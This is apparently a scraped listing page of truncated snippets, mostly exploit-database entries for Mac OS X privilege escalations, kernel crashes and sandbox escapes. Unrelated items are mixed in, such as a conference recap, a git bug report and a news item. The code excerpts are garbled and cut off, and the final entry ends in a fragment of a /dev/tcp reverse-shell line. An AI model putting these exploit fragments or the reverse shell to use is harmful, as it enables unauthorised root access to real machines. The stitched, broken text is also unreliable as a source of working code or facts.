Apple Mac OSX - 'Rootpipe' Local Privilege Escalation (Metasploit)

This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit4 'Mac OS X "Rootpipe" Privilege Escalation', 'Description' = %q This module exploits a hidden backdoor API in Apple's Admin framework ...

Apple Mac OSX < 10.7.5/10.8.2/10.9.5/10.10.2 - 'Rootpipe' Local Privilege Escalation

PoC exploit code for rootpipe CVE-2015-1130 Created by Emil Kvarnhammar, TrueSec Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2 import os import sys import platform import re import ctypes import objc import sys from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions from...

Apple Mac OS X DFont Memory Corruption Remote Code Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple Mac OSX. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of a...

Apple Mac OSX 10.9.5 - IOKit IntelAccelerator Null Pointer Dereference

Apple Mac OSX 10.9.5 - IOKit IntelAccelerator Null Pointer Dereference // clang -o ig23exploit ig23exploit.c -framework IOKit -framework CoreFoundation -m32 -DFORTIFYSOURCE=0 // ianbeer include include include include include include include include uint64t kernelsymbolchar sym char cmd1024;...

Apple Mac OSX 10.10 - IOKit IntelAccelerator Null Pointer Dereference

Apple Mac OSX 10.10 - IOKit IntelAccelerator Null Pointer Dereference include include include include include int main kernreturnt err; CFMutableDictionaryRef matching = IOServiceMatching"IntelAccelerator"; if!matching printf"unable to create service matching dictionary\n"; return 0; ioiteratort...

Apple Mac OSX networkd - 'effective_audit_token' XPC Type Confusion Sandbox Escape

// Requires Lorgnette: https://github.com/rodionovd/liblorgnette // clang -o networkdexploit networkdexploit.c liblorgnette/lorgnette.c -framework CoreFoundation // ianbeer include include include include include include include include include include include include include...

OpenGraphiti: Data Visualization Engine

OpenGraphiti is a free and open source 3D data visualization engine for data scientists to visualize semantic networks and to work with them. It offers an easy-to-use API with several associated libraries to create custom-made datasets. It leverages the power of GPUs to process and explore the da...

Apple Mac OSX 10.10 - BlueTooth DispatchHCICreateConnection Crash (PoC)

/ crash-issue1.c: Written for Mac OS X Yosemite 10.10 by @rpaleari and @joystick. Exploits a missing check in IOBluetoothHCIUserClient::DispatchHCICreateConnection causing a panic. gcc -Wall -o crash-issue1,.c -framework IOKit / include include include include include include define SIZE 0x1000...

Apple Mac OSX 10.10 - BlueTooth BlueToothHCIChangeLocalName Crash (PoC)

/ crash-issue2.c: Written for Mac OS X Yosemite 10.10 by @rpaleari and @joystick. Triggers a panic overwriting a stackcanary. gcc -Wall -o crash-issue2,.c -framework IOKit / include include include include include include struct BluetoothCall uint64t args7; uint64t sizes7; uint64t index; ; int...

Apple Mac OSX 10.9.x - sysmond XPC Privilege Escalation

/ Source: https://code.google.com/p/google-security-research/issues/detail?id=121 / / tested on OS X 10.9.5 - uses some hard-coded offsets which will have to be fixed-up for other versions! this poc uses liblorgnette to resolve some private symbols; grab the code from github: git clone...

Apple Mac OSX (Mavericks) - 'IOBluetoothHCIUserClient' Privilege Escalation

/ pwn.c, by @rpaleari and @joystick This PoC exploits a missing sign check in IOBluetoothHCIUserClient::SimpleDispatchWL. Tested on Mac OS X Mavericks 10.9.4/10.9.5. Compile with: gcc -Wall -o pwn,.c -framework IOKit / include include include include include uint64t payload / Your payload goes...

MIRcon 2014 – Day 2 Highlights

MIRcon 2014 It seemed fitting that the last day of MIRcon started with a total lunar eclipse and ended with an inspirational keynote address by renowned astrophysicist Dr. Neil deGrasse Tyson. After an amazing two days of content, MIRcon 2014 is officially in the books! Following are some of the...

Can't push subtree

As requested in answer to my stackoverflow http://stackoverflow.com/questions/24637748/cant-push-subtree-using-sourcetree post I'm posting this potential bug here. Using a basic schema for git subtree I created 2 repository on Github: "project" and "framework" and made the followings: - Clone...

Multiple Browsers Audio Tag DoS Vulnerability

No description provided by source. !/usr/bin/python Multiple Browsers Audio Tag Denial of Service Vulnerability any ogg file can be used for the DoS as long as it is a valid file on the server crash reporter for Mac seems to think this is a EXECBADACCESS This script acts as a web server to DoS...

Mac OSX Server DirectoryService Buffer Overflow

No description provided by source. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ Mac OSX Server DirectoryService buffer overflow 1. Advisory Information Title: Mac OSX Server DirectoryService buffer overflow Advisory ID: CORE-2013-0103 Advisory URL:...

Apple Mac OSX - Local Security Bypass

Apple Mac OSX - Local Security Bypass // source: https://www.securityfocus.com/bid/67023/info Apple Mac OS X is prone to a local security-bypass vulnerability. Attackers can exploit this issue to bypass certain security restrictions and perform unauthorized actions. Apple Mac OS X 10.9.2 is...

Apple Mac OSX - Local Security Bypass

// source: https://www.securityfocus.com/bid/67023/info Apple Mac OS X is prone to a local security-bypass vulnerability. Attackers can exploit this issue to bypass certain security restrictions and perform unauthorized actions. Apple Mac OS X 10.9.2 is vulnerable; other versions may also be...

Apple Mac OSX 10.9 - Hard Link Memory Corruption

Apple Mac OSX 10.9 - Hard Link Memory Corruption / MacOSX/XNU HFS Multiple Vulnerabilities Maksymilian Arciemowicz http://cxsecurity.com/ http://cifrex.org/ =================== On November 8th, I've reported vulnerability in hard links for HFS+ CVE-2013-6799...

Apple's SSL Vulnerability might allow NSA to hack iOS Devices Remotely

Just two days before Apple has disclosed a critical Security flaw in the SSL implementation on the iOS software that would allow man-in-the-middle attacks to intercept the SSL data by spoofing SSL servers. Dubbed as CVE-2014-1266, the so-called ‘goto fail;’ vulnerability in which the secure...

Apple Mac OSX 10.8.4 - Local Privilege Escalation

!/usr/bin/python Original MSF Module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudopasswordbypass.rb Exploit Title: OSX & /dev/tcp/%s/%s 0&1 &\n" % ipaddr,port print """...